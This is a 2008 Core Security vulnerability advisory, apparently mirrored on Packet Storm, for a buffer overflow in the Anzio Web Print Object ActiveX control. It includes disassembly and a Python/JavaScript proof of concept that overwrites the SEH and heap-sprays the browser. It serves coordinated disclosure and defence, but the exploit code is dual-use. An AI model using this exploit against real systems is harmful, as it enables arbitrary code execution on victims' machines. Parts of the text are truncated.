Core Security Technologies Advisory 2008.0624

Type packetstorm
Reporter Core Security Technologies
Modified 2008-08-21T00:00:00


                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
~ Core Security Technologies - CoreLabs Advisory  
~ Anzio Web Print Object Buffer Overflow  
*Advisory Information*  
Title: Anzio Web Print Object Buffer Overflow  
Advisory ID: CORE-2008-0624  
Advisory URL:  
Date published: 2008-08-20  
Date of last update: 2008-08-20  
Vendors contacted: Anzio  
Release mode: Coordinated release  
*Vulnerability Information*  
Class: Buffer overflow  
Remotely Exploitable: Yes (client side)  
Locally Exploitable: No  
Bugtraq ID: 30545   
CVE Name: CVE-2008-3480   
*Vulnerability Description*  
Anzio Web Print Object (WePO) is a Windows ActiveX web page component  
that, when placed on a web page can "push" a print job from a file or  
web server to a user's local printer without having to display the HTML  
equivalent to that user. By placing WePO code on a web page, you can  
provide a method whereby the viewer of that web page can request a local  
print of a host resident print job, archived print job or a report  
stream through a server-side script request.  
Anzio Web Print Object is vulnerable to a buffer overflow attack, which  
can be exploited by remote attackers to execute arbitrary code, by  
providing a malicious web page with a long "mainurl" parameter for the  
WePO ActiveX component.  
*Vulnerable Packages*  
. Anzio Web Print Object 3.2.19  
. Anzio Web Print Object 3.2.24  
. Anzio Print Wizard Server Edition 3.2.19  
. Anzio Print Wizard Personal Edition 3.2.19  
. Older versions are probably affected too, but were not checked.  
*Non-vulnerable Packages*  
. Anzio Web Print Object 3.2.30  
*Vendor Information, Solutions and Workarounds*  
Update to Anzio Web Print Object 3.2.30, available at, or visit the vendor homepage at  
This vulnerability was discovered and researched by Francisco Falcon  
from Core Security Technologies.  
*Technical Description / Proof of Concept Code*  
The WePO ActiveX component has a parameter named "mainurl" that  
indicates the local file name or the URL from where to retrieve the  
content to print:  
<param name="mainurl" value="">  
- -----------/  
WePO takes the value of "mainurl" parameter in OLECHAR format and  
transforms it to a BSTR string using the API SysAllocStringLen from  
oleaut32.dll. The pointer to a BSTR string returned by SysAllocStringLen  
is stored in the stack.  
024F64B8 . 51 PUSH ECX  
~ ; length of "mainurl" value  
024F64B9 . 52 PUSH EDX  
~ ; pointer to "mainurl" value  
024F64BA . E8 4DB0FFFF CALL JMP.oleaut32.SysAllocStringLen  
024F64BF . 5A POP EDX  
024F64C0 . 85C0 TEST EAX,EAX  
024F64C2 .^0F84 94F9FFFF JE PWBUTT~1.024F5E5C  
024F64C8 . 8902 MOV DWORD PTR DS:[EDX],EAX  
~ ; ;Save BSTR pointer to stack  
024F64CA > C3 RETN  
- -----------/  
After that, it copies "mainurl" value in ASCII format to a buffer on the  
stack, without validating its length.  
024F300C /$ 56 PUSH ESI  
024F300D |. 57 PUSH EDI  
024F300E |. 89C6 MOV ESI,EAX  
~ ; ESI = pointer to "mainurl" value  
024F3010 |. 89D7 MOV EDI,EDX  
~ ; EDI = pointer to destination buffer in the stack  
024F3012 |. 89C8 MOV EAX,ECX  
~ ; ECX = length of "mainurl" value  
024F3014 |. 39F7 CMP EDI,ESI  
024F3016 |. 77 13 JA SHORT PWBUTT~1.024F302B  
024F3018 |. 74 2F JE SHORT PWBUTT~1.024F3049  
024F301A |. C1F9 02 SAR ECX,2  
024F301D |. 78 2A JS SHORT PWBUTT~1.024F3049  
DS:[ESI] ; Copy "mainurl" value to stack buffer,  
024F3021 |. 89C1 MOV ECX,EAX  
~ ; without validating its length  
024F3023 |. 83E1 03 AND ECX,3  
024F3028 |. 5F POP EDI  
024F3029 |. 5E POP ESI  
024F302A |. C3 RETN   
- -----------/  
By supplying a web page with a long "mainurl" value, an attacker can  
overflow the stack buffer mentioned above and overwrite the SEH  
(Structured Exception Handler), enabling arbitrary code execution on the  
machine that has the WePO ActiveX component installed. The Structured  
Exception Handler can be overwritten by providing a "mainurl" value with  
396 bytes as padding, plus 4 specially chosen bytes that will replace  
the original SEH, allowing execution of arbitrary code with the  
privileges of the current user.  
When providing such a long string as value for the "mainurl" parameter,  
an access violation exception is generated when WePO object calls the  
API SysFreeString to deallocate the BSTR string that was previously  
created with SysAllocStringLen. The exception raises because the  
original pointer to the BSTR string was replaced with 4 junk bytes from  
the 396 padding bytes mentioned above.  
024F5E98 |. 50 PUSH EAX  
024F5E99 |. 52 PUSH EDX  
~ ; junk, should be pointer to BSTR string  
024F5E9A |. E8 7DB6FFFF CALL JMP.oleaut32.SysFreeString  
- -----------/  
At this point, the Structured Exception Handler is already controlled by  
the attacker, so when exception raises the execution is transferred to  
an arbitrary memory address chosen by the person providing the malicious  
web page.  
By adding JavaScript code in the malicious web page, the attacker can  
use a technique called Heap Spray, that fills the heap of the browser  
process with his payload, and then jump to the arbitrary code located in  
the process heap.  
The following Python code will generate an HTML file that, when opened  
on a machine with Web Print Object installed, will launch the Windows  
Calculator as a proof of the possibility to execute arbitrary code on a  
machine that has the vulnerable ActiveX component installed. This Proof  
of Concept was tested in Windows XP Professional SP2 with Internet  
Explorer 6.0.2900.2180, and Windows XP Professional SP3 with Internet  
Explorer 6.0.2900.3264, but can be easily modified to work in other  
malicioushtml = open('WePO-PoC.html','w')  
header = '''  
<head><title>WePO Buffer Overflow PoC</title>  
objeto = '''  
~ classid="clsid:4CE8026D-5DBF-48C9-B6E9-14A2B1974A3D"  
~ width=0  
~ height=0  
~ align=center  
~ hspace=0  
~ id="botontrigger"  
craftedparam = '<param name="mainurl" value="'  
craftedparam += 'A' * 0x188 #0x188 padding bytes to fill the buffer  
craftedparam += chr(0xFF) * 4 #indicates the end of SEH Chain  
craftedparam += chr(0x0C) * 4 #overwrite the SEH, new value will be  
craftedparam += '">'  
jscode = '''  
~ <param name="caption" value="Rompete">  
~ <param name="Cancel" value="0">  
~ <param name="Default" value="0">  
~ <param name="DragCursor" value="-12">  
~ <param name="DragMode" value="0">  
~ <param name="Enabled" value="-1">  
~ <param name="Font" value="MS Sans Serif">  
~ <param name="Visible" value="-1">  
~ <param name="DoubleBuffered" value="0">  
~ <param name="Cursor" value="0">  
~ <param name="licensecode" value>  
~ <param name="printersetup" value="1">  
~ <param name="printername" value="printer">  
~ <param name="charset" value="UTF-8">  
~ <param name="debug" value="0">  
~ <param name="initfile" value>  
~ <param name="orientation" value>  
~ <param name="duplex" value>  
~ <param name="fontname" value>  
~ <param name="overlay" value>  
~ <param name="bitmap" value>  
~ <param name="preview" value="0">  
~ <param name="faxnum" value>  
~ </OBJECT>  
~ var shellcode =  
~ var spraySlide = unescape("%u9090%u9090");  
~ var heapSprayToAddress = 0x0c0c0c0c;  
~ function getSpraySlide(spraySlide, spraySlideSize)  
~ {  
~ while (spraySlide.length*2<spraySlideSize)  
~ {  
~ spraySlide += spraySlide;  
~ }  
~ spraySlide = spraySlide.substring(0,spraySlideSize/2);  
~ return (spraySlide);  
~ }  
~ var heapBlockSize = 0x100000;  
~ var SizeOfHeapDataMoreover = 0x5;  
~ var payLoadSize = (shellcode.length * 2);  
~ var spraySlideSize = heapBlockSize - (payLoadSize +  
~ var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;  
~ var memory = new Array();  
~ spraySlide = getSpraySlide(spraySlide,spraySlideSize);  
~ for (i=0;i<heapBlocks;i++)  
~ {  
~ memory[i] = spraySlide + shellcode;  
~ }  
~ document.botontrigger.Click();  
- -----------/  
*Report Timeline*  
. 2008-06-27: Core Security Technologies notifies Anzio that there is a  
vulnerability in Web Print Object (WePO).  
. 2008-06-28: Vendor acknowledges notification.  
. 2008-07-01: Core sends an advisory draft, containing technical details  
and Proof of Concept code for the vulnerability.  
. 2008-07-08: Core asks for confirmation of the vulnerability, and  
reminds the vendor that the advisory's publication date is set to July  
14th, 2008.  
. 2008-07-08: Vendor asks Core to resend the report.  
. 2008-07-14: Core sends (again) the advisory draft, and asks for  
information about the vendor's plan for fixing the vulnerability.  
. 2008-07-21: Core asks for updated information, and notifies the vendor  
that the advisory's publication date has been rescheduled for August 4th.  
. 2008-07-21: Vendor asks Core to resend the report.  
. 2008-07-21: Core sends (for the third time) the advisory draft as a  
compressed file.  
. 2008-07-21: Vendor confirms reception of the reports and states that  
the problem has been identified.  
. 2008-07-31: Core asks for updated information about the release of  
fixed versions (no reply received).  
. 2008-08-04: Core asks for updated information, and reschedules the  
publication of the advisory to August 11th 2008 (no reply received).  
. 2008-08-11: Core makes a phone call to the vendor, asking one more  
time for a release date of fixed versions. Vendor informs that new  
versions will be released during the week.  
. 2008-08-15: Vendor releases fixed version Anzio Web Print Object 3.2.30.  
. 2008-08-20: Advisory CORE-2008-0624 is published.  
*About CoreLabs*  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
*About Core Security Technologies*  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources are  
exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and software  
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core  
Security Technologies can be reached at 617-399-6980 or on the Web at  
The contents of this advisory are copyright (c) 2008 Core Security  
Technologies and (c) 2008 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper credit  
is given.  
*GPG/PGP Keys*  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
Version: GnuPG v1.4.8 (MingW32)  
Comment: Using GnuPG with Mozilla -